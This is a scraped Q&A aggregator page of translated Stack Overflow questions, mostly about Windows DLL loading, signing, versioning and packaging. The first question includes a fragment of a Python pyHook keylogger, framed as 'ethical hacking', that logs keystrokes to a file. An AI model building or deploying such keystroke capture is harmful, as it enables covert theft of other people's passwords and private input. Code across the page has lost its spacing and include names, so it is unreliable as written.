草庐IT

python - Pyinstaller 创建的 exe 在一台机器上运行,但在另一台机器上出错

主机操作系统:Windows10,64位Python:2.7版,32位对于道德黑客,我正在关注视频,EthicalHackingPythonKeylogger我根据视频创建了代码,importpyHook,pythoncom,sys,loggingfile_log='C:\\Lets_Create_Malware\\log.txt'defOnKeyboardEvent(event):logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')chr(event.Ascii)logging.

c - Lua 在加载 dll 扩展时崩溃

我正在尝试在Windows上创建一个Luadll扩展。我正在使用Lua5.3。我的编译器来自MinGW,是gcc4.9.3。我的dll扩展的C代码是这样的:#include#includestaticintdub(lua_State*L){constdoublea=lua_tonumber(L,1);lua_pushnumber(L,a*2);return1;}__declspec(dllexport)int__cdeclluaopen_mylib(lua_State*L){printf("One\n");lua_pushcfunction(L,dub);printf("Two\n")

c++ - 如何隐式加载仅签名的 DLL

我有一个与一组dll文件链接的应用程序。我在不通过不安全的LoadLibrary()调用的情况下隐式加载DLL。我正在考虑使用证书文件对DLL进行签名以避免DLL劫持。我怀疑隐式链接如何检查我的DLL是否已签名。 最佳答案 您应该使用MANIFESTDEPENDENCY链接器选项添加list依赖项,并将publicKeyToken设置为用于签署dll的key。例如像这样的东西:/manifestdependancy:type='win32'name='mydll'language='*'publicKeyToken='1234567

.net - 排序 DLL 版本的正确方法是什么

我一直明白版本(例如:1.2.3.4)中的每个数字都被视为常规int值。我们正在使用一些遵循不同约定的第三方DLL,这似乎会导致我们的修补过程出现问题(修补程序不会用新的DLL覆盖旧的DLL)。旧版本的DLL是1.38DLL的新版本是1.4我理解为1.4我讨厌因为无知而犯错误,我也讨厌盲目遵循惯例而不理解其背后的含义。所以现在是我要求澄清的时候了。对此有何看法? 最佳答案 惯例是1.4!=1.40。版本是一组数字,而不是单个数字。如果他们想增加到1.4,他们应该一直使用1.3.8。 关于

windows - 为什么我的 Windows wxPerl 应用程序没有启动?

我用StrawberryPerl5.8.9.4使用wxPerl开发了一个应用程序。该应用程序是使用以下代码编译的:wxpar-fCrypto-FCrypto-MFilter::Crypto::Decrypt--compress=9--gui--icon=icon.ico--lib=./lib--module=App::Order--module=Wx--module=App::GUI::Main--module=App::GUI::Frame--module=App::GUI::Forms::Settings--module=App::GUI::Forms::Settings::Sig

windows - 为 Win32 和 WinCE 开发非托管 C++ DLL 的最佳方式是什么?

我对如何最好地设置VS2008项目以便将DLL编译为智能设备DLL和C++Win32DLL的意见很感兴趣。除了拥有两个项目并共享源文件之外,还有其他选择吗? 最佳答案 是的,您可以使用多个平台来做到这一点。虽然很难做到正确,但您无法从项目模板中初始化设置。最好的办法是使用SmartDevice项目模板启动项目,因为它具有最多的自定义设置。然后Build+ConfigurationManager,Activesolutionplatform=New,选择Type=Win32,Copy=None。最后一个是痛苦的一点,您必须自己更改Wi

java - UnsatisfiedLinkError "Access is denied"即使完全控制

我从java.lang.ClassLoader$NativeLibrary.load()得到一个java.lang.UnsatisfiedLinkError消息“访问被拒绝”。正在通过UNC路径从网络共享加载DLL。它以前在其他网络共享上没有错误地工作(系统管理员告诉我这个特定的共享更“原生Windows”),所以我的第一直觉是使用cacls为每个人和运行Java代码的特定用户。当我在Windows资源管理器中查看DLL属性时,它显然设置了这些权限,但它仍然失败并出现此错误。有什么想法吗? 最佳答案 一种可能是此dll反过来试图加载

c++ - 错误 LNK2005 : _sprintf already defined in ntdll. lib(ntdll.dll)

我链接到ntdll.lib以使用ZwQueryInformationProcess并使用多线程运行时库。ntdll似乎定义了一些crt函数。因此,当我链接它并使用运行时库时,我会遇到链接器错误。我可以强制链接器使用crt函数并忽略ntdll符号来消除错误吗?或者以其他方式解决此错误。我知道ZwQueryInformationProcess的文档建议动态加载,但它在我的主项目也链接到的静态库中使用,并且这已经运行了很长时间,所以我不想改变它。谢谢。我在其他网站上发现了一些关于此的讨论,例如:http://www.codeguru.com/forum/archive/index.php/t

c - .dll 只能在 Windows XP 和 Vista 上正常工作,但不能在 7 上正常工作?

我有一个Windows.dll文件(来自第三方-已停止支持它,我没有C源代码来纠正问题)。我在我的项目中使用.dll。.dll文件在WindowsXP/Vista下运行良好(因为它是在这些操作系统版本为当前/最新版本时发布的)-现在的问题是该项目现在仅限于WindowsXP/Vista用户(由于那个.dll)-当它在Windows7下运行时会出现轻微故障(即与WindowsXP/Vista相比产生不同的结果)。我认为问题是Microsoft一定更改了一些影响兼容性的东西(在Windows库或其他东西中?)。所以我想知道-我知道它并不是最好的选择,但作为一个临时/hackish解决方法是

c++ - 用我的应用程序打包一个 jre

我的应用程序包含一个使用JNI调用java程序的c++exe文件,因此需要jvm.dll。但是,我希望我的应用程序附带它自己的嵌入式jre,但是在我复制在JAVA_HOME中找到的jre6文件夹并将其添加到我的安装程序后,它无法运行该程序(VM初始化期间发生错误无法加载native库:可以'tfinddependentlibraries),当我在jvm.dll上使用dependencywalker时,它说找不到gpsvc.dll、IEShims.dll和sysntfy.dll。在我尝试将这些dll复制到与jvm.dll相同的文件夹后,dependencywalker告诉我gpsvc.d